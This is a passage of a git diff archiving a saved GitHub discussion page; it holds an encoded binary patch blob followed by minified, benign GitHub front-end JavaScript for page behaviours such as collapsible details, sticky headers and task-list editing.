zZ!jQANn@|+OUi2btH)b+m(gKDhcahm$T1IRw!1z)&qirx#2`VXiw>{YgE9EIreyBW z$y(dgIVQmR#(H6(Ck&UN`#yUxXPs1&ksp&CD7~6{CbOEW&VTV}mg z+=jjO^}KSvzynVBkc&hKi^t%vN{kbwD-)3sQYh40?6pjbSV80z|E)c%R0bPVSK1ZN z51HgGZgizrBd_Xf{adq_A63VnVat^RXhb0(cEzmTC}&|r%(>=*dO#;~K!vsy9>&o_M$FEHRJ2Eh3;M><=JeMO zDp%&*YAZpZ=Jfi;)RO*2Kd8|ph&bG9QOYOLxFV?ZoE-S#;pJ^91OPdz^E9pzVsoLN zJe^if7$8G#t0DLt-$BSqvq$hp1&t~fjLj3)%x6-K9^b36<86@7z z(aJB3!ek1Rlm{vcKQ4x&Cs*bSC1)Yy?yr)$yEFDlm5Mo-XY}@lwwShO+U`N1Ji_P4 z>bd-u>#RSRD7u9V)!=X@JK7`G)(D`G$t9ldg90yEA$mUmA-R#B%2MUv$Y}b?Tt1Wc zM6Q%q)<#T972X$Mu)Y~b-$GCT+T1%PMraKM)YC@&jN4F5ZOFjDP(t@&p+HX1A@*1u z!+(c)>-@==wk;)en&rUi=A8MXI+zvy5G{H}YGH)51Z_H5myyIE6i5a*RUD3+bA!hm zKnPtVOhSkfdAw8CcHhXIr!*QhIlk&BE@M+qo~kDdJ~RcQ3Z6ucM2N$OC)qA{DC58_St-CdvRbm6vKwB+QoJ7*4SBUA&i@)BQ zu2`P&sUh>6g?zziAtdmYR=M`p;a4M6sXkyB#xI6HFe{Cu@&LH56aWe!Zv}K|gs8sq zChU~0!G@nnFGbuj!-s|saL-SgaXRZ9fJx~Dj;JbAgM2J{_nAO z5?$@Gta9r3sf+fjcHK(8rg;%5+yw)F_ihJgK*>`W&wV~bmY&`HcfvA)kfXJsQg12s zxt;RRhwuKZe=?i2CXFkHgv&hJZ0sd)`2u*3NfLg9$$2S<->7W8J^b2s9quH6q9~ue z^@%yT8UGm|1AaE}CgcFI;xP$1e(8#293bTh7^Uh{rcQ7&TOY@g3lGv`6;o`yVU!?O6Wu)-B|u z6CB=r#M@j-2~w^fM#H60BCmI0Y}(YSnQ!)7*bY?}yOh~%_Sfe=YRqoRt8u~;NECsh z1Hx|$!kRf6m5ErK$W$pAjsL7K(6h(SY=^45jqVdij{hINWo?=QB>G$N+*Uw+N*s1^jw?7ztT0~i^o)OZZlPF8XjUXt*k=i0}c^k5h zfAC3yjn-z%EN_+OvM-ID+Z9z8AA116XYc*$H{bs@d%iaW#f`vta+M$S4EV1{55iHZSG&j*6!s}Q0Ap#geM5oR}A_G+`&$sfoL463C8wKO_3S}K*g{hn)& zA3VKs_T`6PPE7VKsTl=rCJH33NCvLmvRT7n4Hp}(Vp9Wje$ZS&%@;C;PO}Ehl}g3_ zeE;ClL0wO-Qtqw69=;oO9OrkJes6)3&*lu8GeFO)Mz2xq$@dfrg?v7r%jHtl+4(nV zowvOR@GsJS`tWs|9(QOzeK(rYUZ?>3+q$TQy6W+Twf_(w_pgUi||77=7r2gQm7@ zSdJxCifrpHQ>H|UH;LNY>?vmUHcL?wWvOX~#FAWc=lte>&dfPGROjdC;fK`d{~MsU zT@DBlujM!Aw95ezLayaE=QQ;y7YBMcj$_%DZQC9)k1&^b4s&gEUE+Dn`=tDluIv93 zAVggFZgIbK?Nb!DSm1sCHPJt30dg z9hfu&V+2)7G@V4|1qbq@pa*`65K^19SKqGPnfzctLl?&oW9-@M=U=xUvnj$9=?fyB z!nhR1@dpesn_MHc`wYU9s?Jee_-Gry~|3Tuh{pd>Lbfrx2ZK z_36RFy8u=8D_zsZ$TkAlO-q?DqMrMNXDARrACZCw;lAFQXznyBmj+s_F6Yc#AdiS) zbeKmC6(j|E45v;;#7JaBuApLQbIOWkTbBT;9oE~q<2ZVPSC{x8;b1HVrr}WLja3V^ z3l3yF^QiUWtW}^7&{B0dKb#MQiJri+L?)11k1BG21@VXR_rbx(U0PdOTOJ6gbJVHQ zS|D#MkJGlvkk-dp31F`-lDhHRV2Q%+M&qP={Eh#uZQBOX{%R}*C0(n|{O?Kkp zsW44BEbYfQ`Vo_f-~+aosx3eTe#b*SHxv8OtTaV5J@;qBJ{-9ClmXT|A(9H9^5t;XzdD-&X5|=FXFs%@=zdD{!O~ zLdUE16Z=@7$%o!$$PI@1NLW(vVDxBhcfAkLP{wqLi=GG_*ITP?(+NF=64NjQ4~Q=6 zMvdYvtx-POe6rGbUcs&xXoWtupTG5rzB+D%kc^iM5=_{$KAe4cFz5SzFVJvt*y>oI z0eY~px#iDjr%^bKr~rr-of5Bv5^^ik96#P%TCF|ZcK5rjXBC*uC7Lyi$Igr#h8A zg*^)fCeg~8?(F1Da5^dS2_Xi}bXvz1wXT>tI!Lr2M`O5by9gSAvu+=v`kD`-q!NX2 z4hZ!_ep4XVBGDBB^Det-7)Gx`{DTGS^&MK~p+j_nu1MHGxcfZ>{cM^v7Qv`*3J@*$ znBCpH}`(6YdkcY&f46*Z^ruAU_ zzI=5GD3{CqW$F*kp_R-pAv=b*5(5$?>qAd*i6lV`DBrgxht1-dKmhRJ><6E9?)c1) zd*vc|5T}Uqq)M%vQVPMixB|H>aXQw6(!HKO`V?qieDeF^rj{Bp((>uSod+=TuHe5GA zCL1IWO=i+tv4v|xa_=F17346_@jf$u-q-GVx6*(9_{+>jOcX?Sk`#rH#4T)~T8fB- zDGZ{yCS8R9W=;QK>ei)!GMUU*vww8aA>jl-AKWzk|=%edF#~ zTUZxt$IRZC`IYxEb0cr5B8{BU;(Z2Q&3huJvSe$d4rQaxRxUe|wJ% zvT=UcX#8#c?_^r%E2Icj#+YY&XfZrty07Jkk*C>$md`5L9L)^-X1OqWqdaAr=4Cf! z2ijvSjf{L%{$geKWnRtYsF7E4#oSO~q);dn48!O#$*bEd>{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` 